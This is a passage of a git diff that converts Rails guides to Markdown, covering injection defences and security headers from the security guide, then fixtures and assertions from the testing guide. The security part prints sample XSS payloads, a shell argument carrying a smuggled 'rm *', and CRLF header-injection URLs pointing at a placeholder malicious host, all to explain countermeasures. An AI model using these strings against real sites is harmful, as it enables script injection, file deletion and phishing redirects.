rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one. -h4. Textile Injection +### Textile Injection -If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS. +If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS. -For example, RedCloth translates +_test_+ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4: +For example, RedCloth translates `_test_` to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4: -<ruby> +```ruby RedCloth.new('<script>alert(1)</script>').to_html # => "<script>alert(1)</script>" -</ruby> +``` Use the :filter_html option to remove HTML which was not created by the Textile processor. -<ruby> +```ruby RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html # => "alert(1)" -</ruby> +``` However, this does not filter all HTML, a few tags will be left (by design), for example <a>: -<ruby> +```ruby RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html # => "<p><a href="javascript:alert(1)">hello</a></p>" -</ruby> +``` -h5(#textile-injection-countermeasures). Countermeasures +#### Countermeasures -It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section. +It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section. -h4. Ajax Injection +### Ajax Injection NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ -If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. +If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. -h4. Command Line Injection +### Command Line Injection NOTE: _Use user-supplied command line parameters with caution._ If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|). -A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_. +A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_. -<ruby> +```ruby system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files -</ruby> +``` -h4. Header Injection +### Header Injection WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._ -HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area. +HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area. -Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address: +Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address: -<ruby> +```ruby redirect_to params[:referer] -</ruby> +``` What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this: -<plain> +``` http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld -</plain> +``` And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this: -<plain> +``` http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld -</plain> +``` Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first. -<plain> +``` HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld -</plain> +``` -So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._ +So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ -h5. Response Splitting +#### Response Splitting If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be: -<plain> +``` HTTP/1.1 302 Found [First standard 302 response] Date: Tue, 12 Apr 2005 22:09:07 GMT Location:
Content-Type: text/html @@ -1014,39 +1023,41 @@ Keep-Alive: timeout=15, max=100 shown as the redirected page] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html -</plain> +``` -Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ +Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ -h3. Default Headers +Default Headers +--------------- Every HTTP response from your Rails application receives the following default security headers. -<ruby> +```ruby config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff' } -</ruby> +``` -You can configure default headers in <ruby>config/application.rb</ruby>. +You can configure default headers in `config/application.rb`. -<ruby> +```ruby config.action_dispatch.default_headers = { 'Header-Name' => 'Header-Value', 'X-Frame-Options' => 'DENY' } -</ruby> +``` Or you can remove them. -<ruby> +```ruby config.action_dispatch.default_headers.clear -</ruby> +``` Here is the list of common headers: + * X-Frame-Options _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. * X-XSS-Protection @@ -1054,17 +1065,18 @@ _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at * X-Content-Type-Options _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. * X-Content-Security-Policy -"A powerful mechanism for controlling which sites certain content types can be loaded from":http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html +[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html) * Access-Control-Allow-Origin Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. * Strict-Transport-Security -"Used to control if the browser is allowed to only access a site over a secure connection":http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security +[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) -h3. Additional Resources +Additional Resources +-------------------- The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here: -* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info -* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security -* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) -* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html +* The Ruby on Rails security project posts security news regularly: [http://www.rorsecurity.info](http://www.rorsecurity.info) +* Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security) +* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too) +* A [good security blog](http://ha.ckers.org/blog/) including the [Cross-Site scripting Cheat Sheet](http://ha.ckers.org/xss.html) diff --git a/guides/source/testing.textile b/guides/source/testing.md index 4faf59fad8..2680525928 100644 --- a/guides/source/testing.textile +++ b/guides/source/testing.md @@ -1,4 +1,5 @@ -h2. A Guide to Testing Rails Applications +A Guide to Testing Rails Applications +===================================== This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to: @@ -7,9 +8,10 @@ application. By referring to this guide, you will be able to: * Write unit, functional, and integration tests for your application * Identify other popular testing approaches and plugins -endprologue. +-------------------------------------------------------------------------------- -h3. Why Write Tests for your Rails Applications? +Why Write Tests for your Rails Applications? +-------------------------------------------- Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers. @@ -17,49 +19,50 @@ By simply running your Rails tests you can ensure your code adheres to the desir Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser. -h3. Introduction to Testing +Introduction to Testing +----------------------- Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data. -h4. The Test Environment +### The Test Environment -By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in +config/database.yml+. +By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`. A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases. -h4. Rails Sets up for Testing from the Word Go +### Rails Sets up for Testing from the Word Go -Rails creates a +test+ folder for you as soon as you create a Rails project using +rails new+ _application_name_. If you list the contents of this folder then you shall see: +Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this folder then you shall see: -<shell> +```bash $ ls -F test fixtures/ functional/ integration/ performance/ test_helper.rb unit/ -</shell> +``` -The +unit+ directory is meant to hold tests for your models, the +functional+ directory is meant to hold tests for your controllers, the +integration+ directory is meant to hold tests that involve any number of controllers interacting, and the +performance+ directory is meant for performance tests. +The `unit` directory is meant to hold tests for your models, the `functional` directory is meant to hold tests for your controllers, the `integration` directory is meant to hold tests that involve any number of controllers interacting, and the `performance` directory is meant for performance tests. -Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. +Fixtures are a way of organizing test data; they reside in the `fixtures` folder. -The +test_helper.rb+ file holds the default configuration for your tests. +The `test_helper.rb` file holds the default configuration for your tests. -h4. The Low-Down on Fixtures +### The Low-Down on Fixtures For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. -h5. What Are Fixtures? +#### What Are Fixtures? _Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model. -You'll find fixtures under your +test/fixtures+ directory. When you run +rails generate model+ to create a new model fixture stubs will be automatically created and placed in this directory. +You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model fixture stubs will be automatically created and placed in this directory. -h5. YAML +#### YAML -YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+). +YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`). Here's a sample YAML fixture file: -<yaml> +```yaml # lo & behold! I am a YAML comment! david: name: David Heinemeier Hansson @@ -70,35 +73,35 @@ steve: name: Steve Ross Kellock birthday: 1974-09-27 profession: guy with keyboard -</yaml> +``` Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. -h5. ERB'in It Up +#### ERB'in It Up ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users: -<erb> +```erb <% 1000.times do |n| %> user_<%= n %>: username: <%= "user%03d" % n %> email: <%= "user%03d@example.com" % n %> <% end %> -</erb> +``` -h5. Fixtures in Action +#### Fixtures in Action -Rails by default automatically loads all fixtures from the +test/fixtures+ folder for your unit and functional test. Loading involves three steps: +Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps: * Remove any existing data from the table corresponding to the fixture * Load the fixture data into the table * Dump the fixture data into a variable in case you want to access it directly -h5. Fixtures are ActiveRecord objects +#### Fixtures are ActiveRecord objects Fixtures are instances of ActiveRecord. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example: -<ruby> +```ruby # this will return the User object for the fixture named david users(:david) @@ -107,30 +110,31 @@ users(:david).id # one can also access methods available on the User class email(david.girlfriend.email, david.location_tonight) -</ruby> +``` -h3. Unit Testing your Models +Unit Testing your Models +------------------------ In Rails, unit tests are what you write to test your models. For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary. -NOTE: For more information on Rails <i>scaffolding</i>, refer to "Getting Started with Rails":getting_started.html +NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html) -When you use +rails generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder: +When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/unit` folder: -<shell> +```bash $ rails generate scaffold post title:string body:text ... create app/models/post.rb create test/unit/post_test.rb create test/fixtures/posts.yml ... -</shell> +``` -The default test stub in +test/unit/post_test.rb+ looks like this: +The default test stub in `test/unit/post_test.rb` looks like this: -<ruby> +```ruby require 'test_helper' class PostTest < ActiveSupport::TestCase @@ -139,47 +143,47 @@ class PostTest < ActiveSupport::TestCase assert true end end -</ruby> +``` A line by line examination of this file will help get you oriented to Rails testing code and terminology. -<ruby> +```ruby require 'test_helper' -</ruby> +``` -As you know by now, +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests. +As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests. -<ruby> +```ruby class PostTest < ActiveSupport::TestCase -</ruby> +``` -The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide. +The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide. -Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run. +Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run. -Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+. So, +Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So, -<ruby> +```ruby test "the truth" do assert true end -</ruby> +``` acts as if you had written -<ruby> +```ruby def test_the_truth assert true end -</ruby> +``` -only the +test+ macro allows a more readable test name. You can still use regular method definitions though. +only the `test` macro allows a more readable test name. You can still use regular method definitions though. -NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need +define_method+ and +send+ calls, but formally there's no restriction. +NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction. -<ruby> +```ruby assert true -</ruby> +``` This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check: @@ -190,36 +194,37 @@ This line of code is called an _assertion_. An assertion is a line of code that Every test contains one or more assertions. Only when all the assertions are successful will the test pass. -h4. Preparing your Application for Testing +### Preparing your Application for Testing Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands: -<shell> +```bash $ rake db:migrate ... $ rake db:test:load -</shell> +``` -The +rake db:migrate+ above runs any pending migrations on the _development_ environment and updates +db/schema.rb+. The +rake db:test:load+ recreates the test database from the current +db/schema.rb+. On subsequent attempts, it is a good idea to first run +db:test:prepare+, as it first checks for pending migrations and warns you appropriately. +The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately. -NOTE: +db:test:prepare+ will fail with an error if +db/schema.rb+ doesn't exist. +NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist. -h5. Rake Tasks for Preparing your Application for Testing +#### Rake Tasks for Preparing your Application for Testing -|_.Tasks |_.Description| -|+rake db:test:clone+ |Recreate the test database from the current environment's database schema| -|+rake db:test:clone_structure+ |Recreate the test database from the development structure| -|+rake db:test:load+ |Recreate the test database from the current +schema.rb+| -|+rake db:test:prepare+ |Check for pending migrations and load the test schema| -|+rake db:test:purge+ |Empty the test database.| +| Tasks | Description | +| ------------------------------ | ------------------------------------------------------------------------- | +| `rake db:test:clone` | Recreate the test database from the current environment's database schema | +| `rake db:test:clone_structure` | Recreate the test database from the development structure | +| `rake db:test:load` | Recreate the test database from the current `schema.rb` | +| `rake db:test:prepare` | Check for pending migrations and load the test schema | +| `rake db:test:purge` | Empty the test database. | -TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+ +TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe` -h4. Running Tests +### Running Tests Running a test is as simple as invoking the file containing the test cases through Ruby: -<shell> +```bash $ ruby -Itest test/unit/post_test.rb Loaded suite unit/post_test @@ -228,13 +233,13 @@ Started Finished in 0.023513 seconds. 1 tests, 1 assertions, 0 failures, 0 errors -</shell> +``` -This will run all the test methods from the test case. Note that +test_helper.rb+ is in the +test+ directory, hence this directory needs to be added to the load path using the +-I+ switch. +This will run all the test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch. -You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+. +You can also run a particular test method from the test case by using the `-n` switch with the `test method name`. -<shell> +```bash $ ruby -Itest test/unit/post_test.rb -n test_the_truth Loaded suite unit/post_test @@ -243,22 +248,22 @@ Started Finished in 0.023513 seconds. 1 tests, 1 assertions, 0 failures, 0 errors -</shell> +``` -The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary. +The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary. -To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case. +To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case. -<ruby> +```ruby test "should not save post without title" do post = Post.new assert !post.save end -</ruby> +``` Let us run this newly added test. -<shell> +```bash $ ruby unit/post_test.rb -n test_should_not_save_post_without_title Loaded suite -e Started @@ -270,37 +275,37 @@ test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]: <false> is not true. 1 tests, 1 assertions, 1 failures, 0 errors -</shell> +``` -In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here: +In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here: -<ruby> +```ruby test "should not save post without title" do post = Post.new assert !post.save, "Saved the post without a title" end -</ruby> +``` Running this test shows the friendlier assertion message: -<shell> +```bash 1) Failure: test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]: Saved the post without a title. <false> is not true. -</shell> +``` Now to get this test to pass we can add a model level validation for the _title_ field. -<ruby> +```ruby class Post < ActiveRecord::Base validates :title, :presence => true end -</ruby> +``` Now the test should pass. Let us verify by running the test again: -<shell> +```bash $ ruby unit/post_test.rb -n test_should_not_save_post_without_title Loaded suite unit/post_test Started @@ -308,25 +313,25 @@ Started Finished in 0.193608 seconds. 1 tests, 1 assertions, 0 failures, 0 errors -</shell> +``` Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD). -TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html. +TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html). To see how an error gets reported, here's a test containing an error: -<ruby> +```ruby test "should report error" do # some_undefined_variable is not defined elsewhere in the test case some_undefined_variable assert true end -</ruby> +``` Now you can see even more output in the console from running the tests: -<shell> +```bash $ ruby unit/post_test.rb -n test_should_report_error Loaded suite -e Started @@ -339,70 +344,73 @@ NameError: undefined local variable or method `some_undefined_variable' for #<Po /test/unit/post_test.rb:6:in `test_should_report_error' 1 tests, 0 assertions, 0 failures, 1 errors -</shell> +``` Notice the 'E' in the output. It denotes a test with error. NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order. -h4. What to Include in Your Unit Tests +### What to Include in Your Unit Tests Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model. -h4. Assertions Available +### Assertions Available By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned. -There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the default testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. - -|_.Assertion |_.Purpose| -|+assert( boolean, [msg] )+ |Ensures that the object/expression is true.| -|+assert_equal( expected, actual, [msg] )+ |Ensures that +expected == actual+ is true.| -|+assert_not_equal( expected, actual, [msg] )+ |Ensures that +expected != actual+ is true.| -|+assert_same( expected, actual, [msg] )+ |Ensures that +expected.equal?(actual)+ is true.| -|+assert_not_same( expected, actual, [msg] )+ |Ensures that +!expected.equal?(actual)+ is true.| -|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true.| -|+assert_not_nil( obj, [msg] )+ |Ensures that +!obj.nil?+ is true.| -|+assert_match( regexp, string, [msg] )+ |Ensures that a string matches the regular expression.| -|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't match the regular expression.| -|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.| -|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol.| -|+assert_raise( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions.| -|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions.| -|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type.| -|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+.| -|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+.| -|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true.| -|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?| -|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| +There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. + +| Assertion | Purpose | +| ---------------------------------------------------------------- | ------- | +| `assert( boolean, [msg] )` | Ensures that the object/expression is true.| +| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.| +| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.| +| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.| +| `assert_not_same( expected, actual, [msg] )` | Ensures that `!expected.equal?(actual)` is true.| +| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.| +| `assert_not_nil( obj, [msg] )` | Ensures that `!obj.nil?` is true.| +| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.| +| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.| +| `assert_in_delta( expecting, actual, delta, [msg] )` | Ensures that the numbers `expecting` and `actual` are within `delta` of each other.| +| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.| +| `assert_raise( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.| +| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.| +| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is of the `class` type.| +| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.| +| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` has a method called `symbol`.| +| `assert_operator( obj1, operator, obj2, [msg] )` | Ensures that `obj1.operator(obj2)` is true.| +| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?| +| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.| Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier. NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial. -h4. Rails Specific Assertions +### Rails Specific Assertions -Rails adds some custom assertions of its own to the +test/unit+ framework: +Rails adds some custom assertions of its own to the `test/unit` framework: -NOTE: +assert_valid(record)+ has been deprecated. Please use +assert(record.valid?)+ instead. +NOTE: `assert_valid(record)` has been deprecated. Please use `assert(record.valid?)` instead. -|_.Assertion |_.Purpose| -|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.| -|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.| -|+assert_no_difference(expressions, message = nil, &block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| -|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| -|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.| -|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200-299, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range| -|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.| -|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file.| +| Assertion | Purpose | +| --------------------------------------------------------------------------------- | ------- | +| `assert_valid(record)` | Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.| +| `assert_difference(expressions, difference = 1, message = nil) {...}` | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.| +| `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.| +| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.| +| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query 